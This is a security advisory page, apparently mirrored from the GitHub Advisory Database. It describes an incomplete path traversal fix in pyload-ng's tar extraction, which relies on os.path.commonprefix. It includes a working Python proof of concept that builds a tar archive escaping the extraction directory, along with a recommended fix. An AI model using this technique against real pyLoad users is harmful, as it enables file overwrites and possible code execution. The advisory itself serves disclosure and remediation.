Mittel

pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass

  • Veröffentlicht: 07.04.2026
  • Aktualisiert: 11.10.2026 12:19

Summary

The _safe_extractall() function in src/pyload/plugins/extractors/UnTar.py uses os.path.commonprefix() for its path traversal check, which performs character-level string comparison rather than path-level comparison. This allows a specially crafted tar archive to write files outside the intended extraction directory. The correct function os.path.commonpath() was added to the codebase in the GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) but was never applied to _safe_extractall(), making this an incomplete fix.

Details

The GHSA-7g4m-8hx2-4qh3 fix (commit 5f4f0fa) added a correct is_within_directory() function to src/pyload/core/utils/fs.py:384-391 using os.path.commonpath():

python
# fs.py:384 — CORRECT implementation
def is_within_directory(base_dir, target_dir):
    real_base = os.path.realpath(base_dir)
    real_target = os.path.realpath(target_dir)
    return os.path.commonpath([real_base, real_target]) == real_base

However, the _safe_extractall() function in UnTar.py:10-22 was left unchanged with the broken os.path.commonprefix():

python
# UnTar.py:10-22 — VULNERABLE implementation
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    def _is_within_directory(directory, target):
        abs_directory = os.path.abspath(directory)
        abs_target = os.path.abspath(target)
        prefix = os.path.commonprefix([abs_directory, abs_target])  # BUG: line 14
        return prefix == abs_directory

    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not _is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

os.path.commonprefix() is a string operation, not a path operation. For extraction destination /downloads/pkg and a malicious member ../pkg_evil/payload (resolving to /downloads/pkg_evil/payload):

  • commonprefix(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads/pkg' — equals the directory, check passes
  • commonpath(['/downloads/pkg', '/downloads/pkg_evil/payload']) → '/downloads' — does NOT equal the directory, check correctly fails

The extraction path is reached via: ExtractArchive.package_finished() (line 182) → extract_queued() → UnTar.extract() (line 76) → _safe_extractall(t, self.dest) (line 81).

PoC

Self-contained proof of concept demonstrating the bypass:

python
import tarfile, io, os, shutil

dest = '/tmp/test_extraction_dir'
shutil.rmtree(dest, ignore_errors=True)
shutil.rmtree('/tmp/test_extraction_dir_pwned', ignore_errors=True)
os.makedirs(dest, exist_ok=True)

# Step 1: Create malicious tar with member that escapes via prefix trick
with tarfile.open('/tmp/evil.tar.gz', 'w:gz') as tar:
    info = tarfile.TarInfo(name='../test_extraction_dir_pwned/evil.txt')
    data = b'escaped the sandbox!'
    info.size = len(data)
    tar.addfile(info, io.BytesIO(data))

# Step 2: Reproduce the vulnerable check from UnTar.py:11-15
def _is_within_directory(directory, target):
    abs_directory = os.path.abspath(directory)
    abs_target = os.path.abspath(target)
    prefix = os.path.commonprefix([abs_directory, abs_target])
    return prefix == abs_directory

# Step 3: Verify the check is bypassed
with tarfile.open('/tmp/evil.tar.gz') as tar:
    for member in tar.getmembers():
        member_path = os.path.join(dest, member.name)
        bypassed = _is_within_directory(dest, member_path)
        print(f'Member: {member.name}')
        print(f'Resolved: {os.path.abspath(member_path)}')
        print(f'Check passes (should be False): {bypassed}')
    tar.extractall(dest)

# Step 4: Confirm file was written outside extraction directory
escaped_file = '/tmp/test_extraction_dir_pwned/evil.txt'
assert os.path.exists(escaped_file), "File did not escape"
print(f'File escaped to: {escaped_file}')
print(f'Content: {open(escaped_file).read()}')

Output:

Member: ../test_extraction_dir_pwned/evil.txt
Resolved: /tmp/test_extraction_dir_pwned/evil.txt
Check passes (should be False): True
File escaped to: /tmp/test_extraction_dir_pwned/evil.txt
Content: escaped the sandbox!

Impact

An attacker who hosts a malicious .tar.gz archive on a file hosting service can write files to arbitrary sibling directories of the extraction path when a pyLoad user downloads and extracts the archive. This enables:

  • Writing files outside the intended extraction directory into adjacent directories
  • Overwriting other users' downloads
  • Planting malicious files in predictable locations on disk
  • If combined with other primitives (e.g., writing a .bashrc, cron job, or plugin file), this could lead to code execution

The attack requires the victim to download a malicious archive (either manually or via the pyLoad API with ADD permission) and have the ExtractArchive addon enabled.

Recommended Fix

Replace the broken inline _is_within_directory with the correct is_within_directory from pyload.core.utils.fs:

python
import os
import sys
import tarfile

from pyload.core.utils.fs import is_within_directory, safejoin
from pyload.plugins.base.extractor import ArchiveError, BaseExtractor, CRCError


# Fix for tarfile CVE-2007-4559
def _safe_extractall(tar, path=".", members=None, *, numeric_owner=False):
    for member in tar.getmembers():
        member_path = os.path.join(path, member.name)
        if not is_within_directory(path, member_path):
            raise ArchiveError("Attempted Path Traversal in Tar File (CVE-2007-4559)")

    tar.extractall(path, members, numeric_owner=numeric_owner)

This removes the broken inline function and uses the already-existing correct implementation that was added in the GHSA-7g4m-8hx2-4qh3 fix.

Betroffene Software

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PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) pyload-ng < 0.5.0b3.dev97 0.5.0b3.dev97

Verweise

CVSS-Wert 5.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:N/I:H/A:N
Schwäche (CWE)
CWE-22
Plattform
Python (PyPI)
Paket
pyload-ng
Veröffentlicht
07.04.2026
Aktualisiert
11.10.2026 12:19

Quellen und Lizenzen

OSV / GitHub Advisory Database - PYSEC-2026-124 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-mvwx-582f-56r7 - CC BY 4.0

Schwachstellenhistorie: pyload-ng

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (58) im Archiv
Einträge insgesamt
58
Erste → letzte
01.2023 10.2026
Ohne Fix
24
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 9
  • Hoch 23
  • Mittel 25
  • Niedrig 1

Veröffentlichungen pro Jahr

  1. 2023: 9
  2. 2024: 8
  3. 2025: 8
  4. 2026: 33
Schweregrad:
  1. Hoch · 7.5 ghsa-889w-m37p-88m5 >= 0.5.0b3.dev98, <= 0.5.0b3.dev101 keine Korrektur
  2. Hoch · 8.1 ghsa-r44w-v6gf-x3p6 < 0.5.0b3.dev101 0.5.0b3.dev101
  3. Hoch · 8.1 CVE-2026-42315 < 0.5.0b3.dev100 0.5.0b3.dev100
  4. Hoch · 8.8 CVE-2026-41133 <= 0.5.0b3.dev97 keine Korrektur
  5. pyload-ng: Incomplete Tar Path Traversal Fix in UnTar._safe_extractall via os.path.commonprefix Bypass dieser Eintrag
    Mittel · 5.3 CVE-2026-35592 < 0.5.0b3.dev97 0.5.0b3.dev97
  6. Hoch · 8.8 CVE-2026-35463 <= 0.5.0b3.dev96 keine Korrektur
  7. Hoch · 7.7 CVE-2026-35187 <= 0.5.0b3.dev96 keine Korrektur
  8. Hoch · 7.1 CVE-2026-29778 >= 0.5.0b3.dev13, < 0.5.0b3.dev97 0.5.0b3.dev97
  9. Hoch · 8.1 CVE-2025-61773 < 0.5.0b3.dev91 0.5.0b3.dev91
  10. Hoch CVE-2025-57751 < 0.5.0b3.dev92 0.5.0b3.dev92
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